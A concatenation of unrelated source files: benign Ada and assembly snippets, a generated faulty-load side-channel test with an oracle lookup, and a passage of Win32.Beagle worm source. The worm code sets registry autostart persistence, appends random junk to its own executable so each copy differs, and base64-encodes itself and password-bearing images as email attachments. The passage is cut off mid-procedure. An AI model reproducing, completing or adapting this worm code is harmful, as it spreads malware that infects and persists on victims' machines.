; change it, so that it checks the storyflag from the shop sample list
.org 0xA00
lhz r3, 0x0(r3) ; shop item id
lis r4, SHOP_ITEMS@ha
addi r4, r4, SHOP_ITEMS@l ; load shop item table
mulli r3, r3, 0x54 ; array offset
add r3, r3, r4 ; array offset
lhz r4, 0x52(r3) ; load storyflag
b checkStoryflagIsSet
.close |
programs/oeis/314/A314829.asm | karttu/loda | 1 | 242709 | ; A314829: Coordination sequence Gal.4.41.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,9,14,18,22,27,31,36,41,45,50,54,58,63,67,72,77,81,86,90,94,99,103,108,113,117,122,126,130,135,139,144,149,153,158,162,166,171,175,180,185,189,194,198,202,207,211,216,221
mov $1,$0
mov $4,$0
mul $4,3
add $4,$0
mov $2,$4
mov $5,$0
pow $0,2
mul $0,3
div $1,8
add $2,1
mul $2,2
div $0,$2
add $0,$1
mov $1,$0
add $1,1
mov $3,$5
mul $3,4
add $1,$3
|
lab02.asm | m-ross/cis225p2 | 0 | 81080 | <filename>lab02.asm
TITLE lab02
; Programmer: <NAME>
; Due: 28 Feb, 2014
; Description: This program prompts the user for 4 integers then subtracts them from a hardcoded number. It displays a report that shows the date of the run as well as the result of the aforementioned operation.
.MODEL SMALL
.386
.STACK 64
;==========================
.DATA
num EQU 1986
result DW ?
prmptMsg DB 'Enter an integer: $'
head DB 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 13, 10, 'Number Subtractor', 13, 10, 36 ; before the title is a long double line--this used to be two different arrays, but that was pointless
slash DB '/$'
text DB 13, 10, 10, 'The resulting value is $' ; this also used to be two arrays
;==========================
.CODE
EXTRN GetDec : NEAR, PutDec : NEAR
Main PROC NEAR
mov ax, @data ; init data
mov ds, ax ; segment register
call Prompts ; prompt user for 3 integers
call SumInput ; add numbers from user
call Subtract ; subtract sum from constant
call Report ; display report
mov ax, 4c00h ; return code 0
int 21h
Main ENDP
;==========================
Prompts PROC NEAR
mov dx, OFFSET prmptMsg ; display prompt
mov ah, 9
int 21h
call GetDec ; get input
mov bx, ax ; put input in bx
mov ah, 9 ; display prompt
int 21h
call GetDec ; get input
mov cx, ax ; put input in cx
mov ah, 9 ; display prompt
int 21h
call GetDec ; get input
mov dx, ax ; put input in dx
push dx ; save value
mov dx, OFFSET prmptMsg ; display prompt
mov ah, 9
int 21h
pop dx
call GetDec ; get input, and leave in ax
ret
ENDP
;==========================
SumInput PROC NEAR
add bx, ax ; add rest of inputs to the input in bx, and leave in bx
add bx, cx
add bx, dx
ret
ENDP
;==========================
Subtract PROC NEAR
mov ax, num ; prep num for subtraction
sub ax, bx ; subtract sum of inputs
mov result, ax ; store result in result
ret
ENDP
;==========================
Report PROC NEAR
mov dx, OFFSET head
mov ah, 9 ; display heading
int 21h
mov ah, 2ah ; get date
int 21h
mov al, dh ; prepare month for display
cbw ; zero ah so it's not displayed by PutDec
call PutDec ; display month
mov al, dl ; prepare day for display, but don't display yet
mov dx, OFFSET slash ; display slash
mov ah, 9
int 21h
cbw ; reckon this's more efficient than "sub ah,ah" or "xor ah,ah"?
call PutDec ; display day
mov dx, OFFSET slash ; display slash
mov ah, 9
int 21h
mov ax, cx ; cx = year
call PutDec ; display year
mov dx, OFFSET text ; display slash
mov ah, 9
int 21h
mov ax, result ; prep result for display
call PutDec
ret
ENDP
;==========================
END Main |
ada/common/midi_synthesizer.adb | FrankBuss/Ada_Synth | 4 | 8906 | package body MIDI_Synthesizer is
function Create_Synthesizer return access Synthesizer is
Ret : constant access Synthesizer := new Synthesizer;
Base : Float := 8.1757989156; -- MIDI note C1 0
begin
Ret.MIDI_Parser := Create_Parser (Ret);
for I in Ret.MIDI_Notes'Range loop
Ret.MIDI_Notes (I) := Base;
Base := Base * 1.059463094359; -- 2^(1/12)
end loop;
return Ret;
end Create_Synthesizer;
function Next_Sample (Self : in out Synthesizer) return Float is
Sample : Float;
begin
-- update generator
Self.Generator0.PhaseAccumulator :=
Self.Generator0.PhaseAccumulator + Self.Generator0.PhaseIncrement;
if Self.Generator0.PhaseAccumulator > 1.0 then
Self.Generator0.PhaseAccumulator :=
Self.Generator0.PhaseAccumulator - 1.0;
end if;
-- update envelope
case Self.ADSR0.State is
when Idle => null;
when Attack =>
Self.ADSR0.Level := Self.ADSR0.Level + Self.ADSR0.Attack;
if Self.ADSR0.Level >= 1.0 then
Self.ADSR0.State := Decay;
Self.ADSR0.Level := 1.0;
end if;
when Decay =>
Self.ADSR0.Level := Self.ADSR0.Level - Self.ADSR0.Decay;
if Self.ADSR0.Level <= Self.ADSR0.Sustain then
Self.ADSR0.State := Sustain;
Self.ADSR0.Level := Self.ADSR0.Sustain;
end if;
when Sustain => null;
when Release =>
Self.ADSR0.Level := Self.ADSR0.Level - Self.ADSR0.Release;
if Self.ADSR0.Level <= 0.0 then
Self.ADSR0.State := Idle;
Self.ADSR0.Level := 0.0;
end if;
end case;
-- return next sample, clipped to -1/+1
Sample := (Self.Generator0.PhaseAccumulator - 0.5) * Self.ADSR0.Level;
if Sample > 1.0 then
Sample := 1.0;
end if;
if Sample < -1.0 then
Sample := -1.0;
end if;
return Sample;
end Next_Sample;
procedure Parse_MIDI_Byte
(Self : in out Synthesizer;
Received : Unsigned_8)
is
begin
Self.MIDI_Parser.Parse (Received);
end Parse_MIDI_Byte;
overriding procedure Note_On
(Self : in out Synthesizer;
Channel : Unsigned_8;
Note : Unsigned_8;
Velocity : Unsigned_8)
is
pragma Unreferenced (Channel);
pragma Unreferenced (Velocity);
begin
Self.ADSR0.State := Attack;
Self.ADSR0.Level := 0.0;
Self.Generator0.PhaseIncrement :=
Self.MIDI_Notes (Integer (Note)) / Samplerate;
end Note_On;
overriding procedure Note_Off
(Self : in out Synthesizer;
Channel : Unsigned_8;
Note : Unsigned_8;
Velocity : Unsigned_8)
is
pragma Unreferenced (Channel);
pragma Unreferenced (Note);
pragma Unreferenced (Velocity);
begin
Self.ADSR0.State := Release;
end Note_Off;
-- Testing with an AKAI MPK mini:
-- The 8 rotary encoders are working in absolute mode.
-- The following valus are sent:
-- B1 0x yz
-- where x is the knob number (1..8) and yz is the value (0..7f)
-- (all values hex).
overriding procedure Control_Change
(Self : in out Synthesizer;
Channel : Unsigned_8;
Controller_Number : Unsigned_8;
Controller_Value : Unsigned_8)
is
pragma Unreferenced (Channel);
begin
case Controller_Number is
when 1 =>
Self.ADSR0.Attack :=
Float (128 - Controller_Value) * 0.5 / Samplerate;
when 2 =>
Self.ADSR0.Decay :=
Float (128 - Controller_Value) * 0.5 / Samplerate;
when 3 =>
Self.ADSR0.Sustain :=
Float (Controller_Value) * 0.007;
when 4 =>
Self.ADSR0.Release :=
Float (128 - Controller_Value) * 0.02 / Samplerate;
when others => null;
end case;
end Control_Change;
end MIDI_Synthesizer;
|
MP/LAB_001_Opt/Ver_Substring_Opcional.adb | usainzg/EHU | 0 | 877 | <reponame>usainzg/EHU<filename>MP/LAB_001_Opt/Ver_Substring_Opcional.adb<gh_stars>0
WITH Ada.Text_Io; USE Ada.Text_Io;
procedure Ver_Substring_Opcional is
-- salida: 11 booleanos(SE)
-- post: corresponden a cada uno de los casos de pruebas dise�ados.
-- pre: { True }
function Substring_Sub(
S : String;
Sub : String)
return Boolean is
-- EJERCICIO 3- ESPECIFICA E IMPLEMENTA recursivamente el subprograma
-- Substring_aa que decide si el string S contiene el substring 'aa'.
BEGIN
-- Completar
if S'Size < Sub'Size then
return False;
end if;
if S(S'First .. S'First + 1) = Sub then
return True;
end if;
return Substring_Sub(S(S'First + 1 .. S'Last), Sub);
end Substring_Sub;
-- post: { True <=> Substring(S, Sub) }
begin
Put_Line("-------------------------------------");
Put("La palabra vacia no contiene el string 'aa': ");
Put(Boolean'Image(Substring_Sub("", "aa")));
New_Line;
New_Line;
New_Line;
Put_Line("-------------------------------------");
Put_Line("Palabras de 1 caracter");
Put("-- La palabra de 1 caracter 'a' no contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("a", "aa")));
New_Line;
Put("-- La palabra de 1 caracter 'b' no contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("b", "aa")));
New_Line;
New_Line;
New_Line;
Put_Line("-------------------------------------");
Put_Line("Palabras de varios caracteres");
Put("-- 'aaaa' contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("aaaa", "aa")));
New_Line;
Put("-- 'bbbb' no contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("bbbb", "aa")));
New_Line;
Put("-- 'abab' no contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("abab", "aa")));
New_Line;
Put("-- 'baba' no contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("baba", "aa")));
New_Line;
Put("-- 'abba' no contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("abba", "aa")));
New_Line;
Put("-- 'aabb' contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("aabb", "aa")));
New_Line;
Put("-- 'baab' contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("baab", "aa")));
New_Line;
Put("-- 'bbaa' contiene el substring 'aa': ");
Put(Boolean'Image(Substring_Sub("bbaa", "aa")));
New_Line;
Put_Line("-------------------------------------");
end Ver_Substring_Opcional;
|
src/atlas-microblog-beans.ads | stcarrez/atlas | 7 | 9601 | <filename>src/atlas-microblog-beans.ads
-----------------------------------------------------------------------
-- atlas-microblog-beans -- Beans for module microblog
-- Copyright (C) 2012, 2017 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with Util.Beans.Basic;
with Util.Beans.Objects;
with Util.Beans.Methods;
with AWA.Events;
with Atlas.Microblog.Modules;
with Atlas.Microblog.Models;
package Atlas.Microblog.Beans is
type Microblog_Bean is new Util.Beans.Basic.Bean
and Util.Beans.Methods.Method_Bean with record
Module : Atlas.Microblog.Modules.Microblog_Module_Access := null;
Post : Atlas.Microblog.Models.Mblog_Ref;
end record;
type Microblog_Bean_Access is access all Microblog_Bean'Class;
-- Get the value identified by the name.
overriding
function Get_Value (From : in Microblog_Bean;
Name : in String) return Util.Beans.Objects.Object;
-- Set the value identified by the name.
overriding
procedure Set_Value (From : in out Microblog_Bean;
Name : in String;
Value : in Util.Beans.Objects.Object);
-- This bean provides some methods that can be used in a Method_Expression
overriding
function Get_Method_Bindings (From : in Microblog_Bean)
return Util.Beans.Methods.Method_Binding_Array_Access;
-- Post the microblog
procedure Post (Bean : in out Microblog_Bean;
Outcome : in out Ada.Strings.Unbounded.Unbounded_String);
-- Post a message when some event is received.
procedure Post (Bean : in out Microblog_Bean;
Event : in AWA.Events.Module_Event'Class);
-- Create the Microblog_Bean bean instance.
function Create_Microblog_Bean (Module : in Atlas.Microblog.Modules.Microblog_Module_Access)
return Util.Beans.Basic.Readonly_Bean_Access;
-- Create the a bean to display the list of microblog posts.
function Create_List_Bean (Module : in Atlas.Microblog.Modules.Microblog_Module_Access)
return Util.Beans.Basic.Readonly_Bean_Access;
end Atlas.Microblog.Beans;
|
sequence.asm | NotExactlySiev/psychofloat | 1 | 166596 | ;;; Code for handling scripted events
SequenceFrame: subroutine
ldx sqtimer
dex
beq .advance
stx sqtimer
rts
.advance
.checkseq
ldy sqidx
lda sequence,y
bne .nend ; are we in a sequence?
rts
.nend
bmi .getmem ; is it just a simple set/offset?
cmp #$20
bcs .nwait ; is it a control command?
sta sqtimer
iny
sty sqidx
rts
.nwait cmp #$40
bcs .ncall ; is it a call command?
iny
sty sqidx
and #$1f
tax
jsr CallFromTable
jmp .checkseq
.ncall cmp #$60
bcs .nplay ; is it a play command?
;; play code goes here
.nplay
; if we reach here it's a set memory address command
; set the memory address and continue like a simple set/offset
and #$1f
sta tmp0
iny
lda sequence,y
sta tmp1
rol
rol
and #$1
tax
lda tmp1
and #$3f
sta sqvar0,x
jmp .setval
.getmem
sta tmp1
and #$1f
sta tmp0
lda sequence,y
rol
rol
rol
rol
and #$1
tax
.setval
lda sqvar0,x
tax
lda tmp0
bit tmp1
bvs .offset
sta $0,x
jmp .opdone
.offset
clc
adc $0,x
sta $0,x
jmp .opdone
.reset
.opdone
iny
sty sqidx
bne .checkseq
PlaySequence: subroutine
ldy sqidx
lda sequence,y
beq .nalready ; if a sequence is already being played, do nothing
rts
.nalready
ldy SequencesTable,x
ldx #$ff
txa
pha
dey
.copy
iny
inx
lda Sequences,y
sta tmp3
and #$e0
cmp #$40
bne .nnest
; put the return index into stack and continue from new index
tya
pha
lda tmp3
and #$1f
tay
lda SequencesTable,y
tay
dex
dey
bne .copy
.nnest
lda tmp3
sta sequence,x
bne .copy
; if here, either a nest is closed or we're done
pla
cmp #$ff
beq .done
dex
tay
bne .copy
.done
ldy #0
sty sqidx
iny
sty sqtimer
rts |
msp430x2/msp430g2452/svd/msp430_svd-tlv_calibration_data.ads | ekoeppen/MSP430_Generic_Ada_Drivers | 0 | 24090 | -- This spec has been automatically generated from out.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with System;
-- TLV Calibration Data
package MSP430_SVD.TLV_CALIBRATION_DATA is
pragma Preelaborate;
---------------
-- Registers --
---------------
-----------------
-- Peripherals --
-----------------
-- TLV Calibration Data
type TLV_CALIBRATION_DATA_Peripheral is record
-- TLV CHECK SUM
TLV_CHECKSUM : aliased MSP430_SVD.UInt16;
-- TLV ADC10_1 TAG
TLV_ADC10_1_TAG : aliased MSP430_SVD.Byte;
-- TLV ADC10_1 LEN
TLV_ADC10_1_LEN : aliased MSP430_SVD.Byte;
-- TLV TAG_DCO30 TAG
TLV_DCO_30_TAG : aliased MSP430_SVD.Byte;
-- TLV TAG_DCO30 LEN
TLV_DCO_30_LEN : aliased MSP430_SVD.Byte;
end record
with Volatile;
for TLV_CALIBRATION_DATA_Peripheral use record
TLV_CHECKSUM at 16#0# range 0 .. 15;
TLV_ADC10_1_TAG at 16#1A# range 0 .. 7;
TLV_ADC10_1_LEN at 16#1B# range 0 .. 7;
TLV_DCO_30_TAG at 16#36# range 0 .. 7;
TLV_DCO_30_LEN at 16#37# range 0 .. 7;
end record;
-- TLV Calibration Data
TLV_CALIBRATION_DATA_Periph : aliased TLV_CALIBRATION_DATA_Peripheral
with Import, Address => TLV_CALIBRATION_DATA_Base;
end MSP430_SVD.TLV_CALIBRATION_DATA;
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2710.asm | ljhsiun2/medusa | 9 | 174862 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x17832, %rsi
lea addresses_D_ht+0x19b2, %rdi
nop
nop
and $60497, %rbx
mov $50, %rcx
rep movsw
nop
nop
nop
nop
nop
and %r15, %r15
lea addresses_A_ht+0xcba2, %rsi
lea addresses_D_ht+0x6eb2, %rdi
nop
nop
dec %r15
mov $74, %rcx
rep movsw
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x152b2, %r10
nop
nop
nop
cmp $24956, %rdi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm1
vmovups %ymm1, (%r10)
nop
nop
nop
nop
nop
cmp $57100, %r10
lea addresses_normal_ht+0x1dfc2, %rbx
nop
add %r14, %r14
mov (%rbx), %r10d
nop
nop
nop
nop
nop
xor %r15, %r15
lea addresses_WC_ht+0x22b2, %rbx
sub %r15, %r15
movb (%rbx), %cl
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x6b2, %rsi
clflush (%rsi)
nop
nop
nop
nop
cmp $44394, %r15
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
add $13129, %rdi
lea addresses_WC_ht+0x1e032, %rdi
nop
nop
nop
nop
nop
cmp %r15, %r15
movw $0x6162, (%rdi)
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_WT_ht+0x16eb2, %rsi
nop
nop
add $50865, %rdi
mov (%rsi), %r10
nop
nop
nop
inc %rsi
lea addresses_D_ht+0xd2b2, %rcx
nop
sub %rdi, %rdi
movb $0x61, (%rcx)
nop
inc %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Faulty Load
lea addresses_RW+0x8eb2, %r9
nop
and $16700, %rdi
movups (%r9), %xmm1
vpextrq $0, %xmm1, %rdx
lea oracles, %r9
and $0xff, %rdx
shlq $12, %rdx
mov (%r9,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
data/pokemon/base_stats/sinnoh/shinx.asm | Dev727/ancientplatinum | 0 | 93792 | db 0 ; 403 DEX NO
db 46, 65, 34, 45, 40, 34
; hp atk def spd sat sdf
db ELECTRIC, ELECTRIC ; type
db 235 ; catch rate
db 60 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/sinnoh/shinx/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
; tm/hm learnset
tmhm
; end
|
Win32/Win32.Beagle/StartUp.asm | fengjixuchui/Family | 3 | 806 | <filename>Win32/Win32.Beagle/StartUp.asm
; StartUp Stuff, Loading settings, etc...
; #########################################################################
.data
szShowMessage db "Can't find a viewer associated with the file",0
szShowCaption db "Error!",0
szRegAutoPath db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szTextOpen db "open",0
szExeExe db ".exe",0
szExeScr db ".scr",0
szExeCom db ".com",0
szExeZip db ".zip",0
szExeVbs db ".vbs",0
szExeHta db ".hta",0
szExeCpl db ".cpl",0
b64Attach dd 0
b64AttachLen dd 0
b64SrcAttach dd 0
b64SrcAttachLen dd 0
b64Password dd 0
b64PasswordLen dd 0
b64PasswordMime dd 0
; Admin thread mutex
mootex dd 0 ; Mooo-moooo :)
szAttachExt dd offset szExeScr
bPassImgOnly dd 0
.data?
; Zip password
szZipPassBuff db 101 dup(?)
; Real worm name
szSysDirFileName db MAX_PATH+1 dup(?)
; Current worm name (being executed)
szRunFileName db MAX_PATH+1 dup(?)
.code
EmailRandInit proto
EmailRandomExt proto
; Write autorun
WriteAutoStart proc
LOCAL hkHandle: DWORD
; Write autorun
invoke RegCreateKey, HKEY_CURRENT_USER, offset szRegAutoPath, addr hkHandle
invoke lstrlen, offset szSysDirFileName
invoke RegSetValueEx, hkHandle, offset szBglAutoKey, 0, REG_SZ, offset szSysDirFileName, eax
invoke RegCloseKey, hkHandle
ret
WriteAutoStart endp
; Remove registry entries (uninistall)
; Suicide disabled
DoSelfDelete proc
LOCAL hkHandle: DWORD
invoke RegDeleteKey, HKEY_CURRENT_USER, offset szRegBasePath
invoke RegCreateKey, HKEY_CURRENT_USER, offset szRegAutoPath, addr hkHandle
invoke RegDeleteValue, hkHandle, offset szBglAutoKey
invoke RegCloseKey, hkHandle
invoke ExitProcess, 0
ret
DoSelfDelete endp
; Get ptr to last section in .exe file (IN: ebx - ptr to file)
LastSectionHeadPtr proc
PEPtrB eax, ebx
movzx ecx, word ptr[eax+06h]
dec ecx
; Num * 28h
xor edx, edx
mov eax, 28h ; obj table size
mul ecx
; ...+ PE + 0f8h
PEPtrB edx, ebx
add eax, edx
add eax, 0f8h ; size of PE header
ret
LastSectionHeadPtr endp
; Get file length and truncate it to it's real length
; then append 5-1505 bytes of junk
TruncSrcFile proc uses ebx edi lpIn: DWORD
LOCAL hFileOut, bWritten: DWORD
LOCAL JUNK_BYTE: BYTE
IFNDEF TESTVERSION
invoke Sleep, 3000
ENDIF
invoke CreateFile, lpIn, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
mov hFileOut, eax
inc eax
jz @tsf_ret
xor edi, edi
invoke CreateFileMapping, hFileOut, NULL, PAGE_READWRITE, 0, 0, NULL
.IF eax
push eax
invoke MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
.IF eax
mov ebx, eax
invoke LastSectionHeadPtr
mov edi, [eax][SectionHead.PhysOffs]
add edi, [eax][SectionHead.PhysSize]
invoke UnmapViewOfFile, ebx
.ENDIF
call CloseHandle
.ENDIF
invoke SetFilePointer, hFileOut, edi, 0, 0
invoke SetEndOfFile, hFileOut
invoke SetFilePointer, hFileOut, 0, 0, FILE_END
; Write junk data
invoke Rand, 1500
add eax, 5
mov edi, eax
@l:
invoke Rand, 200
mov JUNK_BYTE, al
invoke WriteFile, hFileOut, addr JUNK_BYTE, 1, addr bWritten, NULL
dec edi
jnz @l
invoke CloseHandle, hFileOut
@tsf_ret:
ret
TruncSrcFile endp
; Convert Sources attach to Base64 format
SrcFileToBase64 proc
invoke GlobalAlloc, GPTR, SrcFileLen shl 1
mov b64SrcAttach, eax
invoke Base64Encode, offset SrcFile, eax, SrcFileLen
invoke lstrlen, b64SrcAttach
mov b64SrcAttachLen, eax
ret
SrcFileToBase64 endp
; Convert file to Base64 format
FileToBase64 proc uses ebx edi lpDestFileName, outMem, outLen: DWORD
LOCAL hFile, dwFileSize: DWORD
xor edi, edi
invoke CreateFile, lpDestFileName, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0
mov hFile, eax
inc eax
jz @file_open_error
invoke GetFileSize, hFile, 0
mov dwFileSize, eax
inc eax
jz @file_open_close
invoke CreateFileMapping, hFile, NULL, PAGE_READONLY, 0, 0, NULL
.IF eax
mov ebx, eax
invoke MapViewOfFile, eax, FILE_MAP_READ, 0, 0, 0
.IF eax
push eax
mov eax, dwFileSize
shl eax, 1
invoke GlobalAlloc, GPTR, eax
mov edx, outMem
mov [edx], eax
mov edx, [esp]
invoke Base64Encode, edx, eax, dwFileSize
mov edx, outMem
invoke lstrlen, [edx]
mov edx, outLen
mov [edx], eax
call UnmapViewOfFile
inc edi
.ENDIF
invoke CloseHandle, ebx
.ENDIF
@file_open_close:
invoke CloseHandle, hFile
@file_open_error:
mov eax, edi
ret
FileToBase64 endp
EmailRandomPassOnlyFmt proto
EncodePass proc uses ebx szPass: DWORD
LOCAL lpwData[50]: BYTE
LOCAL lpDestFileName: DWORD
invoke Rand, 100
.IF eax > 70
; 30% image password only
mov bPassImgOnly, 1
invoke EmailRandomPassOnlyFmt
invoke wsprintf, addr lpwData, eax, szPass
.ELSE
; 70% normal message
invoke lstrcpy, addr lpwData, szPass
.ENDIF
invoke GlobalAlloc, GPTR, 8192
mov lpDestFileName, eax
invoke lstrcpy, eax, offset szSysDirFileName
invoke lstrcat, lpDestFileName, offset szTextOpen
invoke lstrcat, lpDestFileName, offset szTextOpen
invoke lstrcat, lpDestFileName, offset szTextOpen
invoke GenTextPassImage, addr lpwData, lpDestFileName
test eax, eax
jz @file_open_error
mov b64PasswordMime, eax
invoke FileToBase64, lpDestFileName, offset b64Password, offset b64PasswordLen
@file_open_error:
invoke GlobalFree, lpDestFileName
ret
EncodePass endp
IFNDEF DisableInfect
LoadWorkFile proto :DWORD
ENDIF
EncodeSelf proc uses ebx
LOCAL hFile, hFile2, dwFileSize, dwWritten: DWORD
LOCAL lpDestFileName, lpSrcFileName, lpOrigFileName, lpTextFileName, lpTextFileName2: DWORD
LOCAL buf2[30]: BYTE
